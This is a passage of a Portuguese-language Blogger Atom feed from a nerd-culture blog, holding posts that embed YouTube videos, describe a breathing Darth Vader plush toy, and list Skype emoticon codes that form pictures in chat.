href='http://www.blogger.com/feeds/903428653458405755/posts/default/4146246101431143458?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/sou-nerd-mas-to-na-moda.html' title='Sou nerd, mas tô na moda'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;A0UGSHg-eSp7ImA9Wx9XEUs.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-1259782262406276672</id><published>2011-01-04T11:25:00.000-08:00</published><updated>2011-01-04T11:27:09.651-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-01-04T11:27:09.651-08:00</app:edited><title>Mortal Kombat na sanfona</title><content type='html'>&lt;object height="390" width="640"&gt;&lt;param name="movie" value="http://www.youtube.com/v/oIZwklBNsxw&amp;amp;hl=pt_BR&amp;amp;feature=player_embedded&amp;amp;version=3"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/oIZwklBNsxw&amp;amp;hl=pt_BR&amp;amp;feature=player_embedded&amp;amp;version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" height="390" width="640"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;retirado de: http://www.reidacocadapreta.com.br/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-1259782262406276672?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/1259782262406276672/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/mortal-kombat-na-sanfona.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/1259782262406276672?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/1259782262406276672?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/mortal-kombat-na-sanfona.html' title='Mortal Kombat na sanfona'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DEcNQHc_cCp7ImA9Wx9XEUg.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-6378412375582684527</id><published>2011-01-04T07:46:00.000-08:00</published><updated>2011-01-04T07:48:11.948-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-01-04T07:48:11.948-08:00</app:edited><title>Darth Vader de pelúcia que faz som de respiração igual ao de Star Wars.</title><content type='html'>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;img class="aligncenter size-full wp-image-2884" title="Darth Vader" src="http://bsnerd.com.br/wp-content/uploads/2010/12/Darth-Vader.jpg" alt="Vader" height="499" width="407" /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;O lado negro da galáxia nunca foi tão fofo assim. Esse Darth Vader de pelúcia, faz som de respiração igual ao da saga Star Wars.&lt;span id="more-2883"&gt;&lt;/span&gt;  Ele tem 15 centímetros, já vem com um bateria 3 x AG13 (LR44) incluída e  tem todos os aparatos que o Dark Lord of the Sith possa querer.&lt;/p&gt; &lt;p&gt;Esse pequeno cabeçudinho custa 40.99 dólares (aprox… $69.25) na &lt;a href="http://www.entertainmentearth.com/prodinfo.asp?number=UT00107J" target="_blank"&gt;Entertainment Earth&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;retirado de: http://bsnerd.com.br&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-6378412375582684527?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/6378412375582684527/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/darth-vader-de-pelucia-que-faz-som-de.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/6378412375582684527?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/6378412375582684527?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/darth-vader-de-pelucia-que-faz-som-de.html' title='Darth Vader de pelúcia que faz som de respiração igual ao de Star Wars.'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;D08ARnY5cSp7ImA9Wx9XEUg.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-4738432892704456191</id><published>2011-01-04T05:14:00.000-08:00</published><updated>2011-01-04T07:44:07.829-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-01-04T07:44:07.829-08:00</app:edited><title>Logotipos Skype</title><content type='html'>&lt;p class="Verdana12"&gt;     Envie desenhos com animação para seus amigos,  pelo Skype. Simplesmente copie e cole o código abaixo da figura modelo e  cole no janela de bate-papo do Skype. Divirta-se!!!&lt;/p&gt;                       &lt;p class="Verdana12"&gt;É importante que você tenha a versão mais recente do Skype instalada. Se não tiver, baixe aqui no próprio site do &lt;a href="http://www.tkqlhce.com/click-2082112-10422641" target="_blank"&gt;Skype&lt;/a&gt; &lt;img src="http://www.afcyhf.com/image-2082112-10422641" height="1" width="1" border="0" /&gt;. Colabore conosco e &lt;a href="http://www.skypemania.com.br/contato/index.php"&gt;envie-nos&lt;/a&gt; outros desenhos para colocarmos no site. &lt;/p&gt;                       &lt;p align="center"&gt;&lt;img src="http://www.skypemania.com.br/img/diversao/desenhos/pi_inlove.jpg" height="336" width="258" /&gt;&lt;/p&gt;                       &lt;table width="400" align="center" border="0" cellpadding="0" cellspacing="0"&gt;                         &lt;tbody&gt;&lt;tr&gt;                           &lt;td class="titlargored"&gt;Código:&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_01.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt; (pi)(pi)(pi)(pi)(pi)(pi)(pi)(pi)(pi)(pi)(pi)(pi)                            &lt;br /&gt;(pi)(pi)(pi)(inlove)(inlove)(pi)(inlove)(inlove)(pi)(pi)(pi)(pi)&lt;br /&gt;(pi)(pi)(inlove):*:*:*:*:*(inlove)(pi)(pi)(pi)&lt;br /&gt;(pi)(pi)(inlove):*:*:*:*:*(inlove)(pi)(pi)(pi)&lt;br /&gt;(pi)(pi)(inlove):*:*(h):*:*(inlove)(pi)(pi)(pi)&lt;br /&gt;(pi)(pi)(pi)(inlove):*:*:*(inlove)(pi)(pi)(pi)(pi)&lt;br /&gt;(pi)(pi)(pi)(inlove):*:*:*(inlove)(pi)(pi)(pi)(pi)&lt;br /&gt;(pi)(pi)(pi)(pi)(inlove):*(inlove)(pi)(pi)(pi)(pi)(pi)&lt;br /&gt;(pi)(pi)(pi)(pi)(pi)(inlove)(pi)(pi)(pi)(pi)(pi)(pi)&lt;br /&gt;(pi)(pi)(pi)(pi)(pi)(pi)(pi)(pi)(pi)(pi)(pi)(pi) &lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_02.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;&lt;/table&gt;                                                                    &lt;p align="center"&gt;&lt;img src="http://www.skypemania.com.br/img/diversao/desenhos/heart_dance.jpg" height="201" width="193" /&gt;&lt;/p&gt;                       &lt;table width="400" align="center" border="0" cellpadding="0" cellspacing="0"&gt;                         &lt;tbody&gt;&lt;tr&gt;                           &lt;td class="titlargored"&gt;Código:&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_01.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt; &lt;p&gt;(dance)(dance)(dance)(dance)(dance)(dance)(dance)(dance)(dance)&lt;br /&gt;                            (dance)(h)(h)(dance)(dance)(dance)(h)(h)(dance)&lt;br /&gt;                            (h)(h)(h)(h)(dance)(h)(h)(h)(h)&lt;br /&gt;                            (h)(h)(h)(h)(h)(h)(h)(h)(h)&lt;br /&gt;                            (dance)(h)(h)(h)(h)(h)(h)(h)(dance)&lt;br /&gt;                            (dance)(dance)(h)(h)(h)(h)(h)(dance)(dance)&lt;br /&gt;                            (dance)(dance)(dance)(h)(h)(h)(dance)(dance)(dance)&lt;br /&gt;                            (dance)(dance)(dance)(dance)(h)(dance)(dance)(dance)(dance)&lt;br /&gt;                            (dance)(dance)(dance)(dance)(dance)(dance)(dance)(dance)(dance)&lt;/p&gt;                             &lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_02.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;&lt;/table&gt;                                             &lt;p align="center"&gt;&lt;img src="http://www.skypemania.com.br/img/diversao/desenhos/mooning_pi.jpg" height="200" width="172" /&gt;&lt;/p&gt;                       &lt;table width="400" align="center" border="0" cellpadding="0" cellspacing="0"&gt;                         &lt;tbody&gt;&lt;tr&gt;                           &lt;td class="titlargored"&gt;Código:&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_01.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;                             &lt;p&gt;(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)&lt;br /&gt;                              (mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)&lt;br /&gt;                              (mooning)(mooning)(pi)(mooning)(mooning)(pi)(mooning)(mooning)&lt;br /&gt;                              (mooning)(pi)(mooning)(pi)(pi)(mooning)(pi)(mooning)&lt;br /&gt;                              (mooning)(pi)(mooning)(mooning)(mooning)(mooning)(pi)(mooning)&lt;br /&gt;                              (mooning)(mooning)(pi)(mooning)(mooning)(pi)(mooning)(mooning)&lt;br /&gt;                              (mooning)(mooning)(mooning)(pi)(pi)(mooning)(mooning)(mooning)&lt;br /&gt;                              (mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)&lt;br /&gt;                            (mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_02.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;&lt;/table&gt;                       &lt;p&gt; &lt;/p&gt;                                             &lt;p align="center"&gt;&lt;img src="http://www.skypemania.com.br/img/diversao/desenhos/mooning_finger.jpg" height="201" width="170" /&gt;&lt;/p&gt;                       &lt;table width="400" align="center" border="0" cellpadding="0" cellspacing="0"&gt;                         &lt;tbody&gt;&lt;tr&gt;                           &lt;td class="titlargored"&gt;Código:&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_01.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;                             &lt;p&gt;(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)&lt;br /&gt;                              (mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)&lt;br /&gt;                              (mooning)(mooning)(finger)(mooning)(mooning)(finger)(mooning)(mooning)&lt;br /&gt;                              (mooning)(finger)(mooning)(finger)(finger)(mooning)(finger)(mooning)&lt;br /&gt;                              (mooning)(finger)(mooning)(mooning)(mooning)(mooning)(finger)(mooning)&lt;br /&gt;                              (mooning)(mooning)(finger)(mooning)(mooning)(finger)(mooning)(mooning)&lt;br /&gt;                              (mooning)(mooning)(mooning)(finger)(finger)(mooning)(mooning)(mooning)&lt;br /&gt;                              (mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)&lt;br /&gt;                              (mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)(mooning)&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_02.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;&lt;/table&gt;                       &lt;p align="center"&gt;&lt;img src="http://www.skypemania.com.br/img/diversao/desenhos/skype_devil.jpg" height="181" width="256" /&gt;&lt;/p&gt;                       &lt;p align="center"&gt; &lt;ins style="display: inline-table; border: medium none; height: 60px; margin: 0pt; padding: 0pt; position: relative; visibility: visible; width: 468px;"&gt;&lt;ins id="google_ads_frame3_anchor" style="display: block; border: medium none; height: 60px; margin: 0pt; padding: 0pt; position: relative; visibility: visible; width: 468px;"&gt;&lt;/ins&gt;&lt;/ins&gt; &lt;/p&gt;                       &lt;table width="400" align="center" border="0" cellpadding="0" cellspacing="0"&gt;                         &lt;tbody&gt;&lt;tr&gt;                           &lt;td class="titlargored"&gt;Código:&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_01.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;                             &lt;p&gt;:):):):):):):):):):):):)&lt;br /&gt;                              :):):):)(skype):):)(skype):):):):)&lt;br /&gt;                              :):):):)(skype):):)(skype):):):):)&lt;br /&gt;                              :):):):):):):):):):):):)&lt;br /&gt;                              :):)(devil):):):):):):)(devil):):)&lt;br /&gt;                              :):):)(devil)(devil):):)(devil)(devil):):):)&lt;br /&gt;                              :):):):):)(devil)(devil):):):):):)&lt;br /&gt;                              :):):):):):):):):):):):)&lt;/p&gt;                            &lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_02.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;&lt;/table&gt;                       &lt;p&gt; &lt;/p&gt;                                             &lt;p align="center"&gt;&lt;img src="http://www.skypemania.com.br/img/diversao/desenhos/drunk_headbang.jpg" height="155" width="193" /&gt;&lt;/p&gt;                       &lt;table width="400" align="center" border="0" cellpadding="0" cellspacing="0"&gt;                         &lt;tbody&gt;&lt;tr&gt;                           &lt;td class="titlargored"&gt;Código:&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_01.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;                             &lt;p&gt;(drunk)(drunk)(drunk)(drunk)(drunk)(drunk)(drunk)(drunk)(drunk)&lt;br /&gt;                              (drunk)(drunk)(mooning)(mooning)(drunk)(mooning)(mooning)(drunk)(drunk)&lt;br /&gt;                              (drunk)(mooning)(headbang)(headbang)(headbang)(headbang)(headbang)(mooning)(drunk)&lt;br /&gt;                              (drunk)(mooning)(headbang)(headbang)(finger)(headbang)(headbang)(mooning)(drunk)&lt;br /&gt;                              (drunk)(mooning)(headbang)(headbang)(headbang)(headbang)(headbang)(mooning)(drunk)&lt;br /&gt;                              (drunk)(drunk)(mooning)(mooning)(mooning)(mooning)(mooning)(drunk)(drunk)&lt;br /&gt;                            (drunk)(drunk)(drunk)(drunk)(drunk)(drunk)(drunk)(drunk)(drunk)&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_02.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;&lt;/table&gt;                       &lt;p&gt; &lt;/p&gt;                                             &lt;p align="center"&gt;&lt;img src="http://www.skypemania.com.br/img/diversao/desenhos/inlove_f.jpg" height="221" width="251" /&gt;&lt;/p&gt;                       &lt;table width="400" align="center" border="0" cellpadding="0" cellspacing="0"&gt;                         &lt;tbody&gt;&lt;tr&gt;                           &lt;td class="titlargored"&gt;Código:&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_01.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;                             &lt;p&gt;(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)&lt;br /&gt;                              (F)(F)(F)(inlove)(inlove)(F)(inlove)(inlove)(F)(F)(F)(F)&lt;br /&gt;                              (F)(F)(inlove)(h)(h)(inlove)(h)(h)(inlove)(F)(F)(F)&lt;br /&gt;                              (F)(F)(inlove)(h)(h)(h)(h)(h)(inlove)(F)(F)(F)&lt;br /&gt;                              (F)(F)(inlove)(h)(h):*(h)(h)(inlove)(F)(F)(F)&lt;br /&gt;                              (F)(F)(inlove)(h)(h)(h)(h)(h)(inlove)(F)(F)(F)&lt;br /&gt;                              (F)(F)(F)(inlove)(h)(h)(h)(inlove)(F)(F)(F)(F)&lt;br /&gt;                              (F)(F)(F)(F)(inlove)(h)(inlove)(F)(F)(F)(F)(F)&lt;br /&gt;                              (F)(F)(F)(F)(F)(inlove)(F)(F)(F)(F)(F)(F)&lt;br /&gt;                            (F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_02.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;&lt;/table&gt;                       &lt;p&gt; &lt;/p&gt;                                             &lt;p align="center"&gt;&lt;img src="http://www.skypemania.com.br/img/diversao/desenhos/sun_h.jpg" height="224" width="254" /&gt;&lt;/p&gt;                       &lt;table width="400" align="center" border="0" cellpadding="0" cellspacing="0"&gt;                         &lt;tbody&gt;&lt;tr&gt;                           &lt;td class="titlargored"&gt;Código:&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_01.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;                             &lt;p&gt;(sun)(sun)(sun)(sun)(sun)(sun)(sun)(sun)(sun)(sun)(sun)(sun)&lt;br /&gt;                              (sun)(sun)(sun)(h)(h)(sun)(h)(h)(sun)(sun)(sun)(sun)&lt;br /&gt;                              (sun)(sun)(h):*:*(h):*:*(h)(sun)(sun)(sun)&lt;br /&gt;                              (sun)(sun)(h):*:*:*:*:*(h)(sun)(sun)(sun)&lt;br /&gt;                              (sun)(sun)(h):*:*(h):*:*(h)(sun)(sun)(sun)&lt;br /&gt;                              (sun)(sun)(sun)(h):*:*:*(h)(sun)(sun)(sun)(sun)&lt;br /&gt;                              (sun)(sun)(sun)(h):*:*:*(h)(sun)(sun)(sun)(sun)&lt;br /&gt;                              (sun)(sun)(sun)(sun)(h):*(h)(sun)(sun)(sun)(sun)(sun)&lt;br /&gt;                              (sun)(sun)(sun)(sun)(sun)(h)(sun)(sun)(sun)(sun)(sun)(sun)&lt;br /&gt;                            (sun)(sun)(sun)(sun)(sun)(sun)(sun)(sun)(sun)(sun)(sun)(sun)&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_02.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;&lt;/table&gt;                                             &lt;p align="center"&gt;&lt;img src="http://www.skypemania.com.br/img/diversao/desenhos/wasntme_h.jpg" height="112" width="297" /&gt;&lt;/p&gt;                       &lt;table width="400" align="center" border="0" cellpadding="0" cellspacing="0"&gt;                         &lt;tbody&gt;&lt;tr&gt;                           &lt;td class="titlargored"&gt;Código:&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_01.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;                             &lt;p&gt;(wasntme)(h)(wasntme)(wasntme)(h)(wasntme)(h)(h)(h)(wasntme)(h)(h)(h)(wasntme)&lt;br /&gt;                              (wasntme)(h)(h)(wasntme)(h)(wasntme)(h)(wasntme)(h)(wasntme)(h)(wasntme)(wasntme)(wasntme)&lt;br /&gt;                              (wasntme)(h)(wasntme)(h)(h)(wasntme)(h)(wasntme)(h)(wasntme)(h)(h)(h)(wasntme)&lt;br /&gt;                              (wasntme)(h)(wasntme)(wasntme)(h)(wasntme)(h)(wasntme)(h)(wasntme)(wasntme)(wasntme)(h)(wasntme)&lt;br /&gt;                            (wasntme)(h)(wasntme)(wasntme)(h)(wasntme)(h)(h)(h)(wasntme)(h)(h)(h)(wasntme)&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_02.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;&lt;/table&gt;                       &lt;p align="center"&gt;&lt;img src="http://www.skypemania.com.br/img/diversao/desenhos/music_f.jpg" height="262" width="316" /&gt;&lt;/p&gt;                       &lt;table width="400" align="center" border="0" cellpadding="0" cellspacing="0"&gt;                         &lt;tbody&gt;&lt;tr&gt;                           &lt;td class="titlargored"&gt;Código:&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_01.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;                             &lt;p&gt;(music)(music)(music)(music)(music)(music)(music)(music)(music)(music)(music)(music)(music)(music)(music)&lt;br /&gt;                              (music)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(music)&lt;br /&gt;                              (music)(F)(F)(F)(F)(h)(h)(F)(h)(h)(F)(F)(F)(F)(music)&lt;br /&gt;                              (music)(F)(F)(F)(h)(F)(F)(h)(F)(F)(h)(F)(F)(F)(music)&lt;br /&gt;                              (music)(F)(F)(h)(F)(F)(F)(F)(F)(F)(F)(h)(F)(F)(music)&lt;br /&gt;                              (music)(F)(F)(h)(F)(F)(F):*(F)(F)(F)(h)(F)(F)(music)&lt;br /&gt;                              (music)(F)(F)(F)(h)(F)(F)(F)(F)(F)(h)(F)(F)(F)(music)&lt;br /&gt;                              (music)(F)(F)(F)(F)(h)(F)(F)(F)(h)(F)(F)(F)(F)(music)&lt;br /&gt;                              (music)(F)(F)(F)(F)(F)(h)(F)(h)(F)(F)(F)(F)(F)(music)&lt;br /&gt;                              (music)(F)(F)(F)(F)(F)(F)(h)(F)(F)(F)(F)(F)(F)(music)&lt;br /&gt;                              (music)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(music)&lt;br /&gt;                             (music)(music)(music)(music)(music)(music)(music)(music)(music)(music)(music)(music)(music)(music)(music)&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_02.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;&lt;/table&gt;                      &lt;p&gt; &lt;/p&gt;                       &lt;p align="center"&gt;&lt;img src="http://www.skypemania.com.br/img/diversao/desenhos/f_h_inlove.jpg" height="252" width="273" /&gt;&lt;/p&gt;                                                &lt;table width="400" align="center" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;                           &lt;td class="titlargored"&gt;Código:&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_01.jpg" height="10" width="400" /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;                             &lt;p&gt;(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)&lt;br /&gt;                              (F)(F)(F):*:*:*(F):*:*:*(F)(F)(F)&lt;br /&gt;                              (F):*:*(h)(h):*:*:*(h)(h):*:*(F)&lt;br /&gt;                              :*:*(h)(h)(h)(h):*(h)(h)(h)(h):*:*&lt;br /&gt;                              :*:*(h)(h)(h)(h)(h)(h)(h)(h)(h):*:*&lt;br /&gt;                              (F):*:*(h)(h)(h)(h)(h)(h)(h):*:*(F)&lt;br /&gt;                              (F)(F):*:*(h)(h)(h)(h)(h):*:*(F)(F)&lt;br /&gt;                              (F)(F)(F):*:*(h)(h)(h):*:*(F)(F)(F)&lt;br /&gt;                              (F)(inlove)(F)(F):*:*(h):*:*(F)(F)(inlove)(F)&lt;br /&gt;                              (F)(inlove)(F)(F)(F):*:*:*(F)(F)(F)(inlove)(F)&lt;br /&gt;                              (F)(inlove)(inlove)(inlove)(F)(F):*(F)(F)(inlove)(inlove)(inlove)(F)&lt;br /&gt;                              (F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)(F)&lt;/p&gt;                             &lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                           &lt;td class="copiarcodigo"&gt;&lt;img src="http://www.skypemania.com.br/img/corte_aqui_02.jpg" height="10" width="400" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-4738432892704456191?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/4738432892704456191/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/logotipos-skype.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/4738432892704456191?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/4738432892704456191?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/logotipos-skype.html' title='Logotipos Skype'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CkEERn4-fyp7ImA9Wx9QEU4.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-7073056824894804755</id><published>2010-12-23T10:55:00.000-08:00</published><updated>2010-12-23T10:56:47.057-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-23T10:56:47.057-08:00</app:edited><title>bem que eu tentei nao por isso aqui mas.....</title><content type='html'>&lt;object style="height: 390px; width: 640px;"&gt;&lt;param name="movie" value="http://www.youtube.com/v/gdLJ0QzGzE0?version=3"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/gdLJ0QzGzE0?version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" height="390" width="640"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;é muito nerd :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 